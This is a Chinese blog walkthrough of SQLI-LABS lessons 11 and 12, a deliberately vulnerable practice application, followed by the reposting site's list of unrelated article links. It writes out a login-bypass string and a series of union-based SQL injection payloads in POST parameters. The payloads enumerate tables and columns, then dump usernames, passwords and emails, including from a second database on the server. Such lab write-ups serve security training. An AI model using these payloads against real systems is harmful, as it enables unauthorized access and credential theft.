SQLI-LABS(Less-11、12)

Less-11(POST-Error Based-Single Quotes-String)

打开 Less-11的页面,可以看到一个登录框,需要输入用户名和密码,由本关名字可知SQL语句是单引号闭合。

万能密码

那么先尝试一下万能密码登录,用户名: admin' #、密码随便填一个:

SQLI-LABS(Less-11、12)
从上图可以看出登陆成功,并且会回显账号和密码。

其他方法

判断注入

先随便尝试一个账号密码, uname=name & passwd=pass

SQLI-LABS(Less-11、12)

显示登录失败,接着修改post包,加入 引号看是否会报错.

SQLI-LABS(Less-11、12)

可以发现加入引号之后报错了,并且判断出SQL语句的闭合方式是 单引号。到此可以发现SQL语句的报错会显示在前端页面。

判断当前数据表列数

注入语句: uname=name' order by 1# & passwd=pass

SQLI-LABS(Less-11、12)

当尝试到 uname=name' order by 3# & passwd=pass时,出现了报错,由此可以判断该表只有两列。

SQLI-LABS(Less-11、12)

判断回显位

注入语句: uname=name' union select 1,2 # & passwd=pass

SQLI-LABS(Less-11、12)

判断数用户名和据库名

注入语句: uname=name' union select user(),database() # & passwd=pass

SQLI-LABS(Less-11、12)
通过上述注入可以得知,当前数据库名为 security,当前用户为 root,接着找出这个数据库中的所有数据表。

确定当前数据库内表名

注入语句: uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # & passwd=pass

SQLI-LABS(Less-11、12)
通过上述注入可以得知当前数据库中存在 emailsreferersuagentsusers四张数据表。

确定users表中列名

注入语句: uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # & passwd=pass

SQLI-LABS(Less-11、12)
通过上述注入可以得知 users表中存在三列,分别为 idusernamepassword

确定users表中的用户名和密码

注入语句: uname=name' union select group_concat(username),group_concat(password) from users # & passwd=pass

SQLI-LABS(Less-11、12)

到此,就得到了当前表中所有的用户名和密码。

跨数据库注入

通过上面的步骤可以看到当前用户是 root用户,那么可以尝试爆其他数据库中的信息。

确定当前服务器上有哪些数据库

注入语句: uname=name' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=pass

SQLI-LABS(Less-11、12)
通过上述注入可以得知当前服务器中的数据库由: information_schemabWAPPchallengesdvwamysqlperformance_schemasecuritytest

确定bWAPP数据库中的数据表

注入语句: uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema='bWAPP' # & passwd=pass

SQLI-LABS(Less-11、12)
上图中可以看出在 bWAPP库中的表分别是 blog, heroes, movies, users, visitors

确定users数据库中的列名

注入语句: uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_schema='bWAPP' and table_name='users' # & passwd=pass

SQLI-LABS(Less-11、12)

可以看到 users表中的列名为: id, login, password, email, secret, activation_code, activated, reset_code, admin

确定users表中的邮箱和密码

注入语句: uname=name' union select group_concat(email),group_concat(password) from bWAPP.users#&passwd=pass

SQLI-LABS(Less-11、12)

这样就成功拿到了邮箱和密码,通过查md5可以得到密码为 bug

Less-12(POST-Error Based-Double Quotes-String-with twist)

通过注入 uname=name" & passwd=pass发现SQL闭合符号为 "),其余操作均与第11关相同。

确定回显位,其余操作不再赘述:

SQLI-LABS(Less-11、12)

Original: https://www.cnblogs.com/Timesi/p/16670561.html
Author: 顾北清
Title: SQLI-LABS(Less-11、12)

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578201/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • Java基础系列–08_集合1

    集合当中有很多都是应用到泛型的技术,所以在讲集合之前,应该先将泛型的概念普及一下。 泛型:(1)泛型是一种类型,但是这种类型是在编译或者调用方法时才确定。(2)格式: (3)好处:…

    Linux 2023年6月7日
    096
  • RPA工单查询和下载流程机器人

    bash;gutter:true;1、登录业务系统,输入用户名和密码2、进入下载模块3、输入下载查询条件4、进入文件明细单5、下载文件视频地址:https://www.bilibi…

    Linux 2023年6月7日
    0148
  • 方法的深度理解

    权限修饰符 返回值类型 类名(行参列表 )throws 异常的类型{ //方法体 约定俗称:子类中叫重写的方法,父类中叫被重写的方法。 ①子类重写的方法名和行参列表和父类被重写的方…

    Linux 2023年6月14日
    0108
  • Mybatis源码解读-插件

    注册 xml方式的注册,是在XMLConfigBuilder#pluginElement完成的。 不明觉厉的同学,请参考上一篇文章:Mybatis源码解读-配置加载和Mapper的…

    Linux 2023年6月7日
    0105
  • shell常用集锦

    404. 抱歉,您访问的资源不存在。 可能是URL不正确,或者对应的内容已经被删除,或者处于隐私状态。 [En] It may be that the URL is incorre…

    Linux 2023年5月27日
    0121
  • 计算机网络通信

    早期:联机 以太网:局域网与交换机 广播 主机之间”一对所有”的通讯模式,网络对其中每一台主机发出的信号都进行无条件复制并转发,所有主机都可以接收到所有信息…

    Linux 2023年6月14日
    0100
  • 学习颜色搭配

    html;gutter:true; Color</p> <pre><code> .font-style { font-size: 50px; w…

    Linux 2023年6月13日
    0153
  • 设计模式——-建造者模式(生成器模式)

    建造者模式(生成器模式)定义:将一个复杂的对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。 建造者模式中的4个角色: Product产品类 通常是实现了模板方法模式…

    Linux 2023年6月7日
    0107
  • PMP 考试常见工具与技术点总结

    转载请注明出处: 网络图:项目进度活动之间的逻辑关系,用来推算关键路径,最大浮动时间等; 横道图(甘特图):以图示的方式,通过活动列表和时间刻度,来展示项目获得那个顺序和持续时间 …

    Linux 2023年6月14日
    094
  • JuiceFS 在 Elasticsearch/ClickHouse 温冷数据存储中的实践

    企业数据越存越多,存储容量与查询性能、以及存储成本之间的矛盾对于技术团队来说是个普遍难题。这个难题在 Elasticsearch 与 ClickHouse 这两个场景中尤为突出,为…

    Linux 2023年6月14日
    0131
  • 关于 QT绝对路径依赖症的解决办法!!

    QT安装正确后,使用Qtcreator开发会非常方便; 即使重装系统后,你不用重新安装直接使用QT开发即可。 但是如果你把这个安装后的开发环境,拷贝到其它电脑或者目录后, 你会发现…

    Linux 2023年6月14日
    094
  • Danskin’s Theorem

    Statement 1 假设 (\phi(x,z)) 为含有两个变量的连续函数: (\phi : \mathbb{R}^n \times Z \rightarrow \mathbb…

    Linux 2023年6月7日
    091
  • Redis深入浅出

    bash;gutter:true; RDB持久化是指在指定的时间间隔内将内存中的数据集快照写入磁盘,实际操作过程是fork一个子进程,先将数据集写入临时文件,写入成功后,再替换之前…

    Linux 2023年5月28日
    0114
  • linx命令之ln 软连接 硬链接

    ln(全称:link files)命令是一个非常重要命令,它的功能是为某一个文件在另外一个位置建立一个同步的链接。 当需要在不同的目录,用到相同的文件时;不需要在每一个需要的目录下…

    Linux 2023年5月27日
    0102
  • Sublime Text 左侧不显示目录树如何解决

    方法一: 依次点击 View – Side Bar – Show Side Side点击后左侧的目录树就会显示出来了,如下图所示方法二:快捷键 Mac : …

    Linux 2023年6月13日
    0103
  • Tomcat 实现双向SSL认证

    大概思路: 使用openssl生产CA证书,使用keytool生产密钥库 1、生成CA密钥 genrsa [产生密钥命令] -des3 [加密算法] -out[密钥文件输出路径] …

    Linux 2023年6月14日
    085
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球